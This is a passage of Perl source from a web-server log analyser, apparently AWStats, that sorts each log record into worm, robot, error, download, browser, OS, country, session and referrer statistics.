$field[$pos_query] && $field[$pos_query] ne '-' ) { $tokenquery = '?'; $standalonequery = $field[$pos_query]; } } if ( $URLWithAnchor && $anchor ) { $field[$pos_url] .= "#$anchor"; } # Restore anchor # Here now urlwithnoquery is /mydir/mypage.ext, /mydir, /, /page#XXX # Here now tokenquery is '' or '?' or ';' # Here now standalonequery is '' or 'param1=x' # Define page and extension #-------------------------- my $PageBool = 1; # Extension my $extension = Get_Extension($regext, $urlwithnoquery); if ( $NotPageList{$extension} || ($MimeHashLib{$extension}[1]) && $MimeHashLib{$extension}[1] ne 'p') { $PageBool = 0;} if ( @NotPageFiles && &NotPageFile( $field[$pos_url] ) ) { $PageBool = 0; } # Analyze: misc tracker (must be before return code) #--------------------------------------------------- if ( $urlwithnoquery =~ /$regmisc/o ) { if ($Debug) { debug( " Found an URL that is a MiscTracker record with standalonequery=$standalonequery", 2 ); } my $foundparam = 0; foreach ( split( /&/, $standalonequery ) ) { if ( $_ =~ /^screen=(\d+)x(\d+)/i ) { $foundparam++; $_screensize_h{"$1x$2"}++; next; } #if ($_ =~ /cdi=(\d+)/i) { $foundparam++; $_screendepth_h{"$1"}++; next; } if ( $_ =~ /^nojs=(\w+)/i ) { $foundparam++; if ( $1 eq 'y' ) { $_misc_h{"JavascriptDisabled"}++; } next; } if ( $_ =~ /^java=(\w+)/i ) { $foundparam++; if ( $1 eq 'true' ) { $_misc_h{"JavaEnabled"}++; } next; } if ( $_ =~ /^shk=(\w+)/i ) { $foundparam++; if ( $1 eq 'y' ) { $_misc_h{"DirectorSupport"}++; } next; } if ( $_ =~ /^fla=(\w+)/i ) { $foundparam++; if ( $1 eq 'y' ) { $_misc_h{"FlashSupport"}++; } next; } if ( $_ =~ /^rp=(\w+)/i ) { $foundparam++; if ( $1 eq 'y' ) { $_misc_h{"RealPlayerSupport"}++; } next; } if ( $_ =~ /^mov=(\w+)/i ) { $foundparam++; if ( $1 eq 'y' ) { $_misc_h{"QuickTimeSupport"}++; } next; } if ( $_ =~ /^wma=(\w+)/i ) { $foundparam++; if ( $1 eq 'y' ) { $_misc_h{"WindowsMediaPlayerSupport"}++; } next; } if ( $_ =~ /^pdf=(\w+)/i ) { $foundparam++; if ( $1 eq 'y' ) { $_misc_h{"PDFSupport"}++; } next; } } if ($foundparam) { $_misc_h{"TotalMisc"}++; } } # Analyze: successful favicon (=> countedtraffic=1 if favicon) #-------------------------------------------------- if ( $urlwithnoquery =~ /$regfavico/o ) { if ( $field[$pos_code] != 404 ) { $_misc_h{'AddToFavourites'}++; } $countedtraffic = 1; # favicon is a case that must not be counted anywhere else $_time_nv_h[$hourrecord]++; if ( $field[$pos_code] != 404 && $pos_size>0) { $_time_nv_k[$hourrecord] += int( $field[$pos_size] ); } } # Analyze: Worms (=> countedtraffic=2 if worm) #--------------------------------------------- if ( !$countedtraffic ) { if ($LevelForWormsDetection) { foreach (@WormsSearchIDOrder) { if ( $field[$pos_url] =~ /$_/ ) { # It's a worm my $worm = &UnCompileRegex($_); if ($Debug) { debug( " Record is a hit from a worm identified by '$worm'", 2 ); } $worm = $WormsHashID{$worm} || 'unknown'; $_worm_h{$worm}++; if ($pos_size>0){$_worm_k{$worm} += int( $field[$pos_size] );} $_worm_l{$worm} = $timerecord; $countedtraffic = 2; if ($PageBool) { $_time_nv_p[$hourrecord]++; } $_time_nv_h[$hourrecord]++; if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );} last; } } } } # Analyze: Status code (=> countedtraffic=3 if error) #---------------------------------------------------- if ( !$countedtraffic ) { if ( $LogType eq 'W' || $LogType eq 'S' ) { # HTTP record or Stream record if ( $ValidHTTPCodes{ $field[$pos_code] } ) { # Code is valid if ( int($field[$pos_code]) == 304 && $pos_size>0) { $field[$pos_size] = 0; } # track downloads if (int($field[$pos_code]) == 200 && $MimeHashLib{$extension}[1] eq 'd' && $urlwithnoquery !~ /robots.txt$/ ) # We track download if $MimeHashLib{$extension}[1] = 'd' { $_downloads{$urlwithnoquery}->{'AWSTATS_HITS'}++; $_downloads{$urlwithnoquery}->{'AWSTATS_SIZE'} += ($pos_size>0 ? int($field[$pos_size]) : 0); if ($Debug) { debug( " New download detected: '$urlwithnoquery'", 2 ); } } # handle 206 download continuation message IF we had a successful 200 before, otherwise it goes in errors }elsif(int($field[$pos_code]) == 206 #&& $_downloads{$urlwithnoquery}->{$field[$pos_host]}[0] > 0 && ($MimeHashLib{$extension}[1] eq 'd')){ $_downloads{$urlwithnoquery}->{'AWSTATS_SIZE'} += ($pos_size>0 ? int($field[$pos_size]) : 0); $_downloads{$urlwithnoquery}->{'AWSTATS_206'}++; #$_downloads{$urlwithnoquery}->{$field[$pos_host]}[1] = $timerecord; if ($pos_size>0){ #$_downloads{$urlwithnoquery}->{$field[$pos_host]}[2] = int($field[$pos_size]); $DayBytes{$yearmonthdayrecord} += int($field[$pos_size]); $_time_k[$hourrecord] += int($field[$pos_size]); } $countedtraffic = 6; # 206 continued download, so we track bandwidth but not pages or hits if ($Debug) { debug( " Download continuation detected: '$urlwithnoquery'", 2 ); } }else { # Code is not valid if ( $field[$pos_code] !~ /^\d\d\d$/ ) { $field[$pos_code] = 999; } $_errors_h{ $field[$pos_code] }++; if ($pos_size>0){$_errors_k{ $field[$pos_code] } += int( $field[$pos_size] );} foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) { if ( $field[$pos_code] == $code ) { # This is an error code which referrer need to be tracked my $newurl = substr( $field[$pos_url], 0, $MaxLengthOfStoredURL ); $newurl =~ s/[$URLQuerySeparators].*$//; $_sider_h{$code}{$newurl}++; if ( $pos_referer >= 0 && $ShowHTTPErrorsPageDetail =~ /R/i ) { my $newreferer = $field[$pos_referer]; if ( !$URLReferrerWithQuery ) { $newreferer =~ s/[$URLQuerySeparators].*$//; } $_referer_h{$code}{$newurl} = $newreferer; } if ( $pos_host >= 0 && $ShowHTTPErrorsPageDetail =~ /H/i ) { my $newhost = $field[$pos_host]; if ( !$URLReferrerWithQuery ) { $newhost =~ s/[$URLQuerySeparators].*$//; } $_err_host_h{$code}{$newurl} = $newhost; last; } } } if ($Debug) { debug( " Record stored in the status code chart (status code=$field[$pos_code])", 3 ); } $countedtraffic = 3; if ($PageBool) { $_time_nv_p[$hourrecord]++; } $_time_nv_h[$hourrecord]++; if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );} } } elsif ( $LogType eq 'M' ) { # Mail record if ( !$ValidSMTPCodes{ $field[$pos_code] } ) { # Code is not valid $_errors_h{ $field[$pos_code] }++; if ( $field[$pos_size] ne '-' && $pos_size>0) { $_errors_k{ $field[$pos_code] } += int( $field[$pos_size] ); } if ($Debug) { debug( " Record stored in the status code chart (status code=$field[$pos_code])", 3 ); } $countedtraffic = 3; if ($PageBool) { $_time_nv_p[$hourrecord]++; } $_time_nv_h[$hourrecord]++; if ( $field[$pos_size] ne '-' && $pos_size>0) { $_time_nv_k[$hourrecord] += int( $field[$pos_size] ); } } } elsif ( $LogType eq 'F' ) { # FTP record } } # Analyze: Robot from robot database (=> countedtraffic=4 if robot) #------------------------------------------------------------------ if ( !$countedtraffic ) { if ( $pos_agent >= 0 ) { if ($DecodeUA) { $field[$pos_agent] =~ s/%20/_/g; } # This is to support servers (like Roxen) that writes user agent with %20 in it $UserAgent = $field[$pos_agent]; if ( $UserAgent && $UserAgent eq '-' ) { $UserAgent = ''; } if ($LevelForRobotsDetection) { if ($UserAgent) { my $uarobot = $TmpRobot{$UserAgent}; if ( !$uarobot ) { #study $UserAgent; Does not increase speed foreach (@RobotsSearchIDOrder) { if ( $UserAgent =~ /$_/ ) { my $bot = &UnCompileRegex($_); $TmpRobot{$UserAgent} = $uarobot = "$bot" ; # Last time, we won't search if robot or not. We know it is. if ($Debug) { debug( " UserAgent '$UserAgent' is added to TmpRobot with value '$bot'", 2 ); } last; } } if ( !$uarobot ) { # Last time, we won't search if robot or not. We know it's not. $TmpRobot{$UserAgent} = $uarobot = '-'; } } if ( $uarobot ne '-' ) { # If robot, we stop here if ($Debug) { debug( " UserAgent '$UserAgent' contains robot ID '$uarobot'", 2 ); } $_robot_h{$uarobot}++; if ( $field[$pos_size] ne '-' && $pos_size>0) { $_robot_k{$uarobot} += int( $field[$pos_size] ); } $_robot_l{$uarobot} = $timerecord; if ( $urlwithnoquery =~ /$regrobot/o ) { $_robot_r{$uarobot}++; } $countedtraffic = 4; if ($PageBool) { $_time_nv_p[$hourrecord]++; } $_time_nv_h[$hourrecord]++; if ( $field[$pos_size] ne '-' && $pos_size>0) { $_time_nv_k[$hourrecord] += int( $field[$pos_size] ); } } } else { my $uarobot = 'no_user_agent'; # It's a robot or at least a bad browser, we stop here if ($Debug) { debug( " UserAgent not defined so it should be a robot, saved as robot 'no_user_agent'", 2 ); } $_robot_h{$uarobot}++; if ($pos_size>0){$_robot_k{$uarobot} += int( $field[$pos_size] );} $_robot_l{$uarobot} = $timerecord; if ( $urlwithnoquery =~ /$regrobot/o ) { $_robot_r{$uarobot}++; } $countedtraffic = 4; if ($PageBool) { $_time_nv_p[$hourrecord]++; } $_time_nv_h[$hourrecord]++; if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );} } } } } # Analyze: Robot from "hit on robots.txt" file (=> countedtraffic=5 if robot) # ------------------------------------------------------------------------- if ( !$countedtraffic ) { if ( $urlwithnoquery =~ /$regrobot/o ) { if ($Debug) { debug( " It's an unknown robot", 2 ); } $_robot_h{'unknown'}++; if ($pos_size>0){$_robot_k{'unknown'} += int( $field[$pos_size] );} $_robot_l{'unknown'} = $timerecord; $_robot_r{'unknown'}++; $countedtraffic = 5; # Must not be counted somewhere else if ($PageBool) { $_time_nv_p[$hourrecord]++; } $_time_nv_h[$hourrecord]++; if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );} } } # Analyze: File type - Compression #--------------------------------- if ( !$countedtraffic || $countedtraffic == 6) { if ($LevelForFileTypesDetection) { if ($countedtraffic != 6){$_filetypes_h{$extension}++;} if ( $field[$pos_size] ne '-' && $pos_size>0) { $_filetypes_k{$extension} += int( $field[$pos_size] ); } # Compression if ( $pos_gzipin >= 0 && $field[$pos_gzipin] ) { # If in and out in log my ( $notused, $in ) = split( /:/, $field[$pos_gzipin] ); my ( $notused1, $out, $notused2 ) = split( /:/, $field[$pos_gzipout] ); if ($out) { $_filetypes_gz_in{$extension} += $in; $_filetypes_gz_out{$extension} += $out; } } elsif ( $pos_compratio >= 0 && ( $field[$pos_compratio] =~ /(\d+)/ ) ) { # Calculate in/out size from percentage if ( $fieldlib[$pos_compratio] eq 'gzipratio' ) { # with mod_gzip: % is size (before-after)/before (low for jpg) ?????????? $_filetypes_gz_in{$extension} += int( $field[$pos_size] * 100 / ( ( 100 - $1 ) || 1 ) ); } else { # with mod_deflate: % is size after/before (high for jpg) $_filetypes_gz_in{$extension} += int( $field[$pos_size] * 100 / ( $1 || 1 ) ); } if ($pos_size>0){$_filetypes_gz_out{$extension} += int( $field[$pos_size] );} } } # Analyze: Date - Hour - Pages - Hits - Kilo #------------------------------------------- if ($PageBool) { # Replace default page name with / only ('if' is to increase speed when only 1 value in @DefaultFile) if ( @DefaultFile > 1 ) { foreach my $elem (@DefaultFile) { if ( $field[$pos_url] =~ s/\/$elem$/\// ) { last; } } } else { $field[$pos_url] =~ s/$regdefault/\//o; } # FirstTime and LastTime are First and Last human visits (so changed if access to a page) $FirstTime{$lastprocesseddate} ||= $timerecord; $LastTime{$lastprocesseddate} = $timerecord; $DayPages{$yearmonthdayrecord}++; $_url_p{ $field[$pos_url] }++; #Count accesses for page (page) if ( $field[$pos_size] ne '-' && $pos_size>0) { $_url_k{ $field[$pos_url] } += int( $field[$pos_size] ); } $_time_p[$hourrecord]++; #Count accesses for hour (page) # TODO Use an id for hash key of url # $_url_t{$_url_id} } if ($countedtraffic != 6){$_time_h[$hourrecord]++;} if ($countedtraffic != 6){$DayHits{$yearmonthdayrecord}++;} #Count accesses for hour (hit) if ( $field[$pos_size] ne '-' && $pos_size>0) { $_time_k[$hourrecord] += int( $field[$pos_size] ); $DayBytes{$yearmonthdayrecord} += int( $field[$pos_size] ); #Count accesses for hour (kb) } # Analyze: Login #--------------- if ( $pos_logname >= 0 && $field[$pos_logname] && $field[$pos_logname] ne '-' ) { $field[$pos_logname] =~ s/ /_/g; # This is to allow space in logname if ( $LogFormat eq '6' ) { $field[$pos_logname] =~ s/^\"//; $field[$pos_logname] =~ s/\"$//; } # logname field has " with Domino 6+ if ($AuthenticatedUsersNotCaseSensitive) { $field[$pos_logname] = lc( $field[$pos_logname] ); } # We found an authenticated user if ($PageBool) { $_login_p{ $field[$pos_logname] }++; } #Count accesses for page (page) if ($countedtraffic != 6){$_login_h{$field[$pos_logname]}++;} #Count accesses for page (hit) if ($pos_size>0){$_login_k{ $field[$pos_logname] } += int( $field[$pos_size] );} #Count accesses for page (kb) $_login_l{ $field[$pos_logname] } = $timerecord; } } # Do DNS lookup #-------------- my $Host = $field[$pos_host]; my $HostResolved = '' ; # HostResolved will be defined in next paragraf if countedtraffic is true if( $Host =~ /^([^:]+):[0-9]+$/ ){ # Host may sometimes have an ip:port syntax (ex: 54.32.12.12:60321) $Host = $1; } if ( !$countedtraffic || $countedtraffic == 6) { my $ip = 0; if ($DNSLookup) { # DNS lookup is 1 or 2 if ( $Host =~ /$regipv4l/o ) { # IPv4 lighttpd $Host =~ s/^::ffff://; $ip = 4; } elsif ( $Host =~ /$regipv4/o ) { $ip = 4; } # IPv4 elsif ( $Host =~ /$regipv6/o ) { $ip = 6; } # IPv6 if ($ip) { # Check in static DNS cache file $HostResolved = $MyDNSTable{$Host}; if ($HostResolved) { if ($Debug) { debug( " DNS lookup asked for $Host and found in static DNS cache file: $HostResolved", 4 ); } } elsif ( $DNSLookup == 1 ) { # Check in session cache (dynamic DNS cache file + session DNS cache) $HostResolved = $TmpDNSLookup{$Host}; if ( !$HostResolved ) { if ( @SkipDNSLookupFor && &SkipDNSLookup($Host) ) { $HostResolved = $TmpDNSLookup{$Host} = '*'; if ($Debug) { debug( " No need of reverse DNS lookup for $Host, skipped at user request.", 4 ); } } else { if ( $ip == 4 ) { my $lookupresult = gethostbyaddr( pack( "C4", split( /\./, $Host ) ), AF_INET ) ; # This is very slow, may spend 20 seconds if ( !$lookupresult || $lookupresult =~ /$regipv4/o || !IsAscii($lookupresult) ) { $TmpDNSLookup{$Host} = $HostResolved = '*'; } else { $TmpDNSLookup{$Host} = $HostResolved = $lookupresult; } if ($Debug) { debug( " Reverse DNS lookup for $Host done: $HostResolved", 4 ); } } elsif ( $ip == 6 ) { if ( $PluginsLoaded{'GetResolvedIP'} {'ipv6'} ) { my $lookupresult = GetResolvedIP_ipv6($Host); if ( !$lookupresult || !IsAscii($lookupresult) ) { $TmpDNSLookup{$Host} = $HostResolved = '*'; } else { $TmpDNSLookup{$Host} = $HostResolved = $lookupresult; } } else { $TmpDNSLookup{$Host} = $HostResolved = '*'; warning( "Reverse DNS lookup for $Host not available without ipv6 plugin enabled." ); } } else { error("Bad value vor ip"); } } } } else { $HostResolved = '*'; if ($Debug) { debug( " DNS lookup by static DNS cache file asked for $Host but not found.", 4 ); } } } else { if ($Debug) { debug( " DNS lookup asked for $Host but this is not an IP address.", 4 ); } $DNSLookupAlreadyDone = $LogFile; } } else { if ( $Host =~ /$regipv4l/o ) { $Host =~ s/^::ffff://; $HostResolved = '*'; $ip = 4; } elsif ( $Host =~ /$regipv4/o ) { $HostResolved = '*'; $ip = 4; } # IPv4 elsif ( $Host =~ /$regipv6/o ) { $HostResolved = '*'; $ip = 6; } # IPv6 if ($Debug) { debug( " No DNS lookup asked.", 4 ); } } # Analyze: Country (Top-level domain) #------------------------------------ if ($Debug) { debug( " Search country (Host=$Host HostResolved=$HostResolved ip=$ip)", 4 ); } my $Domain = 'ip'; # Set $HostResolved to host and resolve domain if ( $HostResolved eq '*' ) { # $Host is an IP address and is not resolved (failed or not asked) or resolution gives an IP address $HostResolved = $Host; # Resolve Domain if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip6'} ) { $Domain = GetCountryCodeByAddr_geoip6($HostResolved); } elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) { $Domain = GetCountryCodeByAddr_geoip($HostResolved); } # elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($HostResolved); } # elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($HostResolved); } elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} ) { $Domain = GetCountryCodeByAddr_geoipfree($HostResolved); } if ($AtLeastOneSectionPlugin) { foreach my $pluginname ( keys %{ $PluginsLoaded{'SectionProcessIp'} } ) { my $function = "SectionProcessIp_$pluginname"; if ($Debug) { debug( " Call to plugin function $function", 5 ); } &$function($HostResolved); } } } else { # $Host was already a host name ($ip=0, $Host=name, $HostResolved='') or has been resolved ($ip>0, $Host=ip, $HostResolved defined) $HostResolved = lc( $HostResolved ? $HostResolved : $Host ); # Resolve Domain if ($ip) { # If we have ip, we use it in priority instead of hostname if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip6'} ) { $Domain = GetCountryCodeByAddr_geoip6($Host); } elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) { $Domain = GetCountryCodeByAddr_geoip($Host); } # elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($Host); } # elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($Host); } elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} ) { $Domain = GetCountryCodeByAddr_geoipfree($Host); } elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; } if ($AtLeastOneSectionPlugin) { foreach my $pluginname ( keys %{ $PluginsLoaded{'SectionProcessIp'} } ) { my $function = "SectionProcessIp_$pluginname"; if ($Debug) { debug( " Call to plugin function $function", 5 ); } &$function($Host); } } } else { if ( $PluginsLoaded{'GetCountryCodeByName'}{'geoip6'} ) { $Domain = GetCountryCodeByName_geoip6($HostResolved); } elsif ( $PluginsLoaded{'GetCountryCodeByName'}{'geoip'} ) { $Domain = GetCountryCodeByName_geoip($HostResolved); } # elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByName_geoip_region_maxmind($HostResolved); } # elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByName_geoip_city_maxmind($HostResolved); } elsif ( $PluginsLoaded{'GetCountryCodeByName'}{'geoipfree'} ) { $Domain = GetCountryCodeByName_geoipfree($HostResolved); } elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; } if ($AtLeastOneSectionPlugin) { foreach my $pluginname ( keys %{ $PluginsLoaded{'SectionProcessHostname'} } ) { my $function = "SectionProcessHostname_$pluginname"; if ($Debug) { debug( " Call to plugin function $function", 5 ); } &$function($HostResolved); } } } } # Store country if ($PageBool) { $_domener_p{$Domain}++; } if ($countedtraffic != 6){$_domener_h{$Domain}++;} if ( $field[$pos_size] ne '-' && $pos_size>0) { $_domener_k{$Domain} += int( $field[$pos_size] ); } # Analyze: Host, URL entry+exit and Session #------------------------------------------ if ($PageBool) { my $timehostl = $_host_l{$HostResolved}; if ($timehostl) { # A visit for this host was already detected # TODO everywhere there is $VISITTIMEOUT # $timehostl =~ /^\d\d\d\d\d\d(\d\d)/; my $daytimehostl=$1; # if ($timerecord > ($timehostl+$VISITTIMEOUT+($dateparts[3]>$daytimehostl?$NEWDAYVISITTIMEOUT:0))) { if ( $timerecord > ( $timehostl + $VISITTIMEOUT ) ) { # This is a second visit or more if ( !$_waithost_s{$HostResolved} ) { # This is a second visit or more # We count 'visit','exit','entry','DayVisits' if ($Debug) { debug( " This is a second visit for $HostResolved.", 4 ); } my $timehosts = $_host_s{$HostResolved}; my $page = $_host_u{$HostResolved}; if ($page) { $_url_x{$page}++; } $_url_e{ $field[$pos_url] }++; $DayVisits{$yearmonthdayrecord}++; # We can't count session yet because we don't have the start so # we save params of first 'wait' session $_waithost_l{$HostResolved} = $timehostl; $_waithost_s{$HostResolved} = $timehosts; $_waithost_u{$HostResolved} = $page; } else { # This is third visit or more # We count 'session','visit','exit','entry','DayVisits' if ($Debug) { debug( " This is a third visit or more for $HostResolved.", 4 ); } my $timehosts = $_host_s{$HostResolved}; my $page = $_host_u{$HostResolved}; if ($page) { $_url_x{$page}++; } $_url_e{ $field[$pos_url] }++; $DayVisits{$yearmonthdayrecord}++; if ($timehosts) { $_session{ GetSessionRange( $timehosts, $timehostl ) }++; } } # Save new session properties $_host_s{$HostResolved} = $timerecord; $_host_l{$HostResolved} = $timerecord; $_host_u{$HostResolved} = $field[$pos_url]; } elsif ( $timerecord > $timehostl ) { # This is a same visit we can count if ($Debug) { debug( " This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]", 4 ); } $_host_l{$HostResolved} = $timerecord; $_host_u{$HostResolved} = $field[$pos_url]; } elsif ( $timerecord == $timehostl ) { # This is a same visit we can count if ($Debug) { debug( " This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]", 4 ); } $_host_u{$HostResolved} = $field[$pos_url]; } elsif ( $timerecord < $_host_s{$HostResolved} ) { # Should happens only with not correctly sorted log files if ($Debug) { debug( " This is same visit still running for $HostResolved with start not in order. host_s changed to $timerecord (entry page also changed if first visit)", 4 ); } if ( !$_waithost_s{$HostResolved} ) { # We can reorder entry page only if it's the first visit found in this update run (The saved entry page was $_waithost_e if $_waithost_s{$HostResolved} is not defined. If second visit or more, entry was directly counted and not saved) $_waithost_e{$HostResolved} = $field[$pos_url]; } else { # We can't change entry counted as we dont't know what was the url counted as entry } $_host_s{$HostResolved} = $timerecord; } else { if ($Debug) { debug( " This is same visit still running for $HostResolved with hit between start and last hits. No change", 4 ); } } } else { # This is a new visit (may be). First new visit found for this host. We save in wait array the entry page to count later if ($Debug) { debug( " New session (may be) for $HostResolved. Save in wait array to see later", 4 ); } $_waithost_e{$HostResolved} = $field[$pos_url]; # Save new session properties $_host_u{$HostResolved} = $field[$pos_url]; $_host_s{$HostResolved} = $timerecord; $_host_l{$HostResolved} = $timerecord; } $_host_p{$HostResolved}++; } $_host_h{$HostResolved}++; if ( $field[$pos_size] ne '-' && $pos_size>0) { $_host_k{$HostResolved} += int( $field[$pos_size] ); } # Analyze: Browser - OS #---------------------- if ( $pos_agent >= 0 ) { if ($LevelForBrowsersDetection) { # Analyze: Browser #----------------- my $uabrowser = $TmpBrowser{$UserAgent}; if ( !$uabrowser ) { my $found = 1; # Edge (must be at beginning) if ($UserAgent =~ /$regveredge/o) { $_browser_h{"edge$1"}++; if ($PageBool) { $_browser_p{"edge$1"}++; } $TmpBrowser{$UserAgent} = "edge$1"; } # Opera ? elsif ( $UserAgent =~ /$regveropera/o ) { # !!!! version number in in regex $1 or $2 !!! $_browser_h{"opera".($1||$2)}++; if ($PageBool) { $_browser_p{"opera".($1||$2)}++; } $TmpBrowser{$UserAgent} = "opera".($1||$2); } # Firefox ? elsif ( $UserAgent =~ /$regverfirefox/o && $UserAgent !~ /$regnotfirefox/o ) { $_browser_h{"firefox$1"}++; if ($PageBool) { $_browser_p{"firefox$1"}++; } $TmpBrowser{$UserAgent} = "firefox$1"; } # Chrome ? elsif ( $UserAgent =~ /$regverchrome/o ) { $_browser_h{"chrome$1"}++; if ($PageBool) { $_browser_p{"chrome$1"}++; } $TmpBrowser{$UserAgent} = "chrome$1"; } # Safari ? elsif ($UserAgent =~ /$regversafari/o && $UserAgent !~ /$regnotsafari/o ) { my $safariver = $BrowsersSafariBuildToVersionHash{$1}; if ( $UserAgent =~ /$regversafariver/o ) { $safariver = $1; } $_browser_h{"safari$safariver"}++; if ($PageBool) { $_browser_p{"safari$safariver"}++; } $TmpBrowser{$UserAgent} = "safari$safariver"; } # Konqueror ? elsif ( $UserAgent =~ /$regverkonqueror/o ) { $_browser_h{"konqueror$1"}++; if ($PageBool) { $_browser_p{"konqueror$1"}++; } $TmpBrowser{$UserAgent} = "konqueror$1"; } # Subversion ? elsif ( $UserAgent =~ /$regversvn/o ) { $_browser_h{"svn$1"}++; if ($PageBool) { $_browser_p{"svn$1"}++; } $TmpBrowser{$UserAgent} = "svn$1"; } # IE < 11 ? (must be at end of test) elsif ($UserAgent =~ /$regvermsie/o && $UserAgent !~ /$regnotie/o ) { $_browser_h{"msie$2"}++; if ($PageBool) { $_browser_p{"msie$2"}++; } $TmpBrowser{$UserAgent} = "msie$2"; } # IE >= 11 elsif ($UserAgent =~ /$regvermsie11/o && $UserAgent !~ /$regnotie/o) { $_browser_h{"msie$2"}++; if ($PageBool) { $_browser_p{"msie$2"}++; } $TmpBrowser{$UserAgent} = "msie$2"; } # Netscape 6.x, 7.x ... ? (must be at end of test) elsif ( $UserAgent =~ /$regvernetscape/o ) { $_browser_h{"netscape$1"}++; if ($PageBool) { $_browser_p{"netscape$1"}++; } $TmpBrowser{$UserAgent} = "netscape$1"; } # Netscape 3.x, 4.x ... ? (must be at end of test) elsif ($UserAgent =~ /$regvermozilla/o && $UserAgent !~ /$regnotnetscape/o ) { $_browser_h{"netscape$2"}++; if ($PageBool) { $_browser_p{"netscape$2"}++; } $TmpBrowser{$UserAgent} = "netscape$2"; } # Other known browsers ? else { $found = 0; foreach (@BrowsersSearchIDOrder) { # Search ID in order of BrowsersSearchIDOrder if ( $UserAgent =~ /$_/ ) { my $browser = &UnCompileRegex($_); # TODO If browser is in a family, use version $_browser_h{"$browser"}++; if ($PageBool) { $_browser_p{"$browser"}++; } $TmpBrowser{$UserAgent} = "$browser"; $found = 1; last; } } } # Unknown browser ? if ( !$found ) { $_browser_h{'Unknown'}++; if ($PageBool) { $_browser_p{'Unknown'}++; } $TmpBrowser{$UserAgent} = 'Unknown'; my $newua = $UserAgent; $newua =~ tr/\+ /__/; $_unknownrefererbrowser_l{$newua} = $timerecord; } } else { $_browser_h{$uabrowser}++; if ($PageBool) { $_browser_p{$uabrowser}++; } if ( $uabrowser eq 'Unknown' ) { my $newua = $UserAgent; $newua =~ tr/\+ /__/; $_unknownrefererbrowser_l{$newua} = $timerecord; } } } if ($LevelForOSDetection) { # Analyze: OS #------------ my $uaos = $TmpOS{$UserAgent}; if ( !$uaos ) { my $found = 0; # in OSHashID list ? foreach (@OSSearchIDOrder) { # Search ID in order of OSSearchIDOrder if ( $UserAgent =~ /$_/ ) { my $osid = $OSHashID{ &UnCompileRegex($_) }; $_os_h{"$osid"}++; if ($PageBool) { $_os_p{"$osid"}++; } $TmpOS{$UserAgent} = "$osid"; $found = 1; last; } } # Unknown OS ? if ( !$found ) { $_os_h{'Unknown'}++; if ($PageBool) { $_os_p{'Unknown'}++; } $TmpOS{$UserAgent} = 'Unknown'; my $newua = $UserAgent; $newua =~ tr/\+ /__/; $_unknownreferer_l{$newua} = $timerecord; } } else { $_os_h{$uaos}++; if ($PageBool) { $_os_p{$uaos}++; } if ( $uaos eq 'Unknown' ) { my $newua = $UserAgent; $newua =~ tr/\+ /__/; $_unknownreferer_l{$newua} = $timerecord; } } } } else { $_browser_h{'Unknown'}++; $_os_h{'Unknown'}++; if ($PageBool) { $_browser_p{'Unknown'}++; $_os_p{'Unknown'}++; } } # Analyze: Referer #----------------- my $found = 0; if ( $pos_referer >= 0 && $LevelForRefererAnalyze && $field[$pos_referer] ) { # Direct ? if ( $field[$pos_referer] eq '-' || $field[$pos_referer] eq 'bookmarks' ) { # "bookmarks" is sent by Netscape, '-' by all others browsers # Direct access if ($PageBool) { if ($ShowDirectOrigin) { print "Direct access for line $line\n"; } $_from_p[0]++; } $_from_h[0]++; $found = 1; } else { $field[$pos_referer] =~ /$regreferer/o; my $refererprot = $1; my $refererserver = ( $2 || '' ) . ( !$3 || $3 eq ':80' ? '' : $3 ) ; # refererserver is www.xxx.com or www.xxx.com:81 but not www.xxx.com:80 # HTML link ? if ( $refererprot =~ /^http/i ) { #if ($Debug) { debug(" Analyze referer refererprot=$refererprot refererserver=$refererserver",5); } # Kind of origin if ( !$TmpRefererServer{$refererserver} ) { # TmpRefererServer{$refererserver} is "=" if same site, "search egine key" if search engine, not defined otherwise if ( $refererserver =~ /$reglocal/o ) { # Intern (This hit came from another page of the site) if ($Debug) { debug( " Server '$refererserver' is added to TmpRefererServer with value '='", 2 ); } $TmpRefererServer{$refererserver} = '='; $found = 1; } else { foreach (@HostAliases) { if ( $refererserver =~ /$_/ ) { # Intern (This hit came from another page of the site) if ($Debug) { debug( " Server '$refererserver' is added to TmpRefererServer with value '='", 2 ); } $TmpRefererServer{$refererserver} = '='; $found = 1; last; } } if ( !$found ) { # Extern (This hit came from an external web site). if ($LevelForSearchEnginesDetection) { foreach (@SearchEnginesSearchIDOrder) { # Search ID in order of SearchEnginesSearchIDOrder if ( $refererserver =~ /$_/ ) { my $key = &UnCompileRegex($_); if ( !$NotSearchEnginesKeys{$key} || $refererserver !~ /$NotSearchEnginesKeys{$key}/i ) { # This hit came from the search engine $key if ($Debug) { debug( " Server '$refererserver' is added to TmpRefererServer with value '$key'", 2 ); } $TmpRefererServer{ $refererserver} = $SearchEnginesHashID{ $key }; $found = 1; } last; } } } } } } my $tmprefererserver = $TmpRefererServer{$refererserver}; if ($tmprefererserver) { if ( $tmprefererserver eq '=' ) { 